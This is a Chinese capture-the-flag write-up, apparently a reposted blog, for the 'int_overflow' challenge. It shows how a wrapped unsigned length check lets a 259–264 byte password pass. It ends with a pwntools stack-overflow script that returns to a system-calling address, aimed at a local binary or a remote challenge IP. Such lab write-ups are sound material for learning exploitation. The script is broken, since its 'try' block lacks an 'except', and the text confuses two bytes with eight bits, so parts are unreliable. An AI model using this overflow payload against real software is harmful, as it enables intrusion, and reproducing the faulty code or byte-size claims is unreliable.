int_overflow的wp

放Linux
32位,无金丝雀
放ida32康康
在这里插入图片描述
没看出什么,进入login函数康康
在这里插入图片描述
这有个read函数,先记下来
进函数康康
在这里插入图片描述
这里要判断密码的大小范围,注意一下,我们要想办法跳过这一阶段
这里会把s拷贝到dest里
康康栈的位置
在这里插入图片描述
这里注意其有效部分只有两个字节,259-264 之间随机选择一个数
在这里插入图片描述
这是一个无符号数

因为是最大2字节(8bit位),而且为无符号,所以3~8 和 259~264个字符可以通过检测
在c语言代码里面看一下原因

#include <stdio.h>
int main(){
    
    
    unsigned short int a = 1;
    unsigned short int b = 65537;
    if(a == b){
    
    
        printf("ok");
    }
    return 0;
}

在这段代码中最后会返回ok
因为10进制65537转到16进制是0x10001

而最大是2字节,而且是无符号,则最后就是去掉了1,变成了0x1
跟这个原理一样,257转换16进制是0x101,8bit位,变成了0x01,3到8位通过,最后得出257+2 ~ 257+7可通过检测,我们利用这一点跳过前面对数字范围的要求
我们理清思路,要用dest来进行溢出
我们要确定溢出的函数 ,一看函数表在这里插入图片描述
what is this?
在这里插入图片描述
就它啦
开始写脚本

from pwn import *

context(os="linux", arch="x86", log_level="debug")
system_addr = 0x0804868B 
content= 1

def main():
	try:
		if content == 1:
			r = process("over")
		else:
			r = remote("220.249.52.133",32852)

	payload = b"a" * (0x14 + 0x04) + p32(system_addr)
	payload = payload.ljust(260,b"a")

	r.sendlineafter("Your choice:","1")
	r.sendlineafter("Please input your username:","1")
	r.recvuntil("Please input your passwd:")
	r.sendline(payload)

	r.interactive()

main()



猜你喜欢

转载自blog.csdn.net/wuyvle/article/details/113006171
int